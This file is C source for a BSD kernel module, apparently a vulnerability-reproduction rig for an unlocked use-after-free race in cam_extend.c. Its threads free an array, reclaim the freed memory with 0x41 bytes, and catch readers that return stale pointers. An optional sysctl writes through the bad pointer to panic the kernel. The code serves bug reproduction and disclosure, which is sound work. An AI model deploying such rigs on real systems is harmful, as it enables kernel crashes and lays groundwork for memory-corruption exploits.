DF-5663 / race5663.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 | /* * race5663.ko (v2) -- reproduce the unsynchronized cam_extend growth * free (sys/bus/cam/cam_extend.c:54-78) at the primitive level, using * the REAL in-kernel cam_extend_set()/cam_extend_get() and NO CAM * device flow in the way. * * The defect: struct extend_array (cam_extend.c:33-37) has no lock. * Every growth does * space = kmalloc(...) ; bcopy ; kfree(ea->ps) ; ea->ps = space * (cam_extend.c:58-68) while concurrent cam_extend_get()/release() * on another CPU load ea->ps and dereference ps[index] * (cam_extend.c:84-86). A reader whose ea->ps load lands before the * kfree but whose ps[index] load lands after the chunk is freed and * reused reads FREED KERNEL MEMORY and hands it back as the stored * object pointer (struct cam_periph * for every CAM periph driver). * * Rig (v2: 3 kernel threads total -- no CPU starvation): * * grower loop { * oldps/oldn snapshot; * cam_extend_set(hot, nelem, STABLE); // ONE growth: * // kmalloc+bcopy+ * // kfree(oldps) * if (ps changed) { // oldps was freed * poison = kmalloc(8*oldn); // LIFO reclaim of * // the freed chunk * // (same CPU, same * // zone -- see * // kern_slaballoc.c * // :1576-1585) * memset(poison, 0x41, 8*oldn); // stamp it * kfree(poison); * } * } * Retires to a fresh array at hotcap slots (there is no * cam_extend destroy/free API -- retired arrays leak, * bounded by budget). * * readers cam_extend_get(hot, 0) in tight loops. Slot 0 is ALWAYS * STABLE_OBJ once set, so ANY other observed value came out * of freed/reused memory. A reader preempted between its * ea->ps load and its ps[0] deref observes the freed+0x41- * stamped chunk -> returns 0x4141414141414141. * * debug.race5663useptr=1 makes readers additionally consume the bad * pointer the way ptopen does (cam_periph_acquire: periph->refcount++, * cam_periph.c:319-329) -> write through noncanonical pointer -> * fatal trap -> panic. Exactly what DF-5462 predicted for the real * pt flow but could not land. * * Knobs: * debug.race5663run 1/0 start/stop * debug.race5663useptr 1/0 consume bad pointers (PANICS on hit) * debug.race5663stats read counters (prints to dmesg) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/kthread.h> #include <sys/thread.h> #include <sys/types.h> #include <bus/cam/cam_extend.h> /* mirror of struct extend_array (cam_extend.c:33-37), same build */ struct ea_mirror { int nelem; void **ps; }; #define STABLE_OBJ ((void *)0x1133557711335577UL) #define STAMP_VAL ((void *)0x4141414141414141UL) static struct extend_array *volatile r5663_hot; static volatile int r5663_run; static volatile int r5663_useptr; static volatile u_long r5663_iters; static volatile u_long r5663_hits; static volatile u_long r5663_anoms; static volatile int r5663_frees; static volatile int r5663_arrays; static volatile int r5663_threads; static volatile int r5663_grower_done; static int r5663_hotcap = 256; /* slots before retire */ static int r5663_budget = 20000; /* max arrays (leak bound) */ static void r5663_grower(void *); static void r5663_reader(void *); static int r5663_sys_run(SYSCTL_HANDLER_ARGS); static int r5663_sys_useptr(SYSCTL_HANDLER_ARGS); static int r5663_sys_stats(SYSCTL_HANDLER_ARGS); SYSCTL_PROC(_debug, OID_AUTO, race5663run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, r5663_sys_run, "I", "1/0 start/stop the race rig"); SYSCTL_PROC(_debug, OID_AUTO, race5663useptr, CTLTYPE_INT | CTLFLAG_RW, 0, 0, r5663_sys_useptr, "I", "1/0 consume bad pointers (PANICS)"); SYSCTL_PROC(_debug, OID_AUTO, race5663stats, CTLTYPE_INT | CTLFLAG_RW, 0, 0, r5663_sys_stats, "I", "read counters (prints to dmesg)"); static int r5663_sys_run(SYSCTL_HANDLER_ARGS) { int v = 0, error, i; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 1 && !r5663_run) { r5663_iters = 0; r5663_hits = 0; r5663_anoms = 0; r5663_frees = 0; r5663_arrays = 0; r5663_grower_done = 0; r5663_run = 1; atomic_add_int(&r5663_threads, 3); /* 1 gr + 2 rd */ for (i = 0; i < 2; i++) kthread_create(r5663_reader, NULL, NULL, "r5663rd"); kthread_create(r5663_grower, NULL, NULL, "r5663gr"); kprintf("[RACE5663] rig started (hotcap=%d budget=%d)\n", r5663_hotcap, r5663_budget); } else if (v == 0 && r5663_run) { r5663_run = 0; kprintf("[RACE5663] stopping\n"); } return (0); } static int r5663_sys_useptr(SYSCTL_HANDLER_ARGS) { int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); r5663_useptr = v; kprintf("[RACE5663] useptr=%d\n", v); return (0); } static int r5663_sys_stats(SYSCTL_HANDLER_ARGS) { int v = 0; kprintf("[RACE5663] stats: iters=%lu hits=%lu anoms=%lu frees=%d " "arrays=%d grower_done=%d useptr=%d threads=%d\n", r5663_iters, r5663_hits, r5663_anoms, r5663_frees, r5663_arrays, r5663_grower_done, r5663_useptr, r5663_threads); return (sysctl_handle_int(oidp, &v, 0, req)); } static void r5663_grower(void *arg) { struct extend_array *ea; struct ea_mirror *m; void *oldps, *poison; int oldn; while (r5663_run) { ea = r5663_hot; if (ea == NULL || ((struct ea_mirror *)ea)->nelem >= r5663_hotcap) { if (r5663_arrays >= r5663_budget) { r5663_run = 0; break; } r5663_hot = cam_extend_new(); r5663_arrays++; continue; } m = (struct ea_mirror *)ea; oldps = m->ps; oldn = m->nelem; /* exactly one growth (kmalloc+bcopy+kfree) per call */ cam_extend_set(ea, m->nelem, STABLE_OBJ); if (m->ps != oldps && oldn > 0) { r5663_frees++; /* * oldps was kfree()d on THIS cpu; per-CPU zone * free lists are LIFO with head-reuse * (kern_slaballoc.c:1576-1585), so this same- * size kmalloc reclaims it and we stamp it. */ poison = kmalloc(sizeof(void *) * oldn, M_DEVBUF, M_INTWAIT); memset(poison, 0x41, sizeof(void *) * oldn); kfree(poison, M_DEVBUF); } if ((r5663_frees & 0x3FFF) == 0 && r5663_frees != 0) { kprintf("[RACE5663] frees=%d iters=%lu hits=%lu " "anoms=%lu\n", r5663_frees, r5663_iters, r5663_hits, r5663_anoms); lwkt_yield(); } } r5663_grower_done = 1; atomic_subtract_int(&r5663_threads, 1); kthread_exit(); } static void r5663_reader(void *arg) { struct extend_array *ea; void *p; u_long i = 0; while (r5663_run) { ea = r5663_hot; if (ea == NULL) continue; /* the REAL production reader (cam_extend.c:81-87) */ p = cam_extend_get(ea, 0); r5663_iters++; if (p == STAMP_VAL) { r5663_hits++; kprintf("[RACE5663] *** UAF HIT #%lu: " "cam_extend_get returned %p (iter %lu) -- " "pointer read from freed+reused kernel memory\n", r5663_hits, p, r5663_iters); } else if (p != NULL && p != STABLE_OBJ) { r5663_anoms++; if (r5663_anoms <= 10 || (r5663_anoms & 0xFFF) == 0) kprintf("[RACE5663] anomaly #%lu: get " "returned %p (iter %lu)\n", r5663_anoms, p, r5663_iters); } if (r5663_useptr && p == STAMP_VAL) { /* ptopen's cam_periph_acquire(): refcount++ */ kprintf("[RACE5663] consuming bad periph %p " "(refcount++ like ptopen)\n", p); atomic_add_int((int *)((char *)p + 0x20), 1); } if ((++i & 0x3F) == 0) lwkt_yield(); } atomic_subtract_int(&r5663_threads, 1); kthread_exit(); } static int race5663_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("[RACE5663] loaded (cam_extend UAF rig)\n"); return (0); case MOD_UNLOAD: if (r5663_run || r5663_threads != 0) return (EBUSY); kprintf("[RACE5663] unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t race5663_mod = { "race5663", race5663_modevent, 0 }; DECLARE_MODULE(race5663, race5663_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |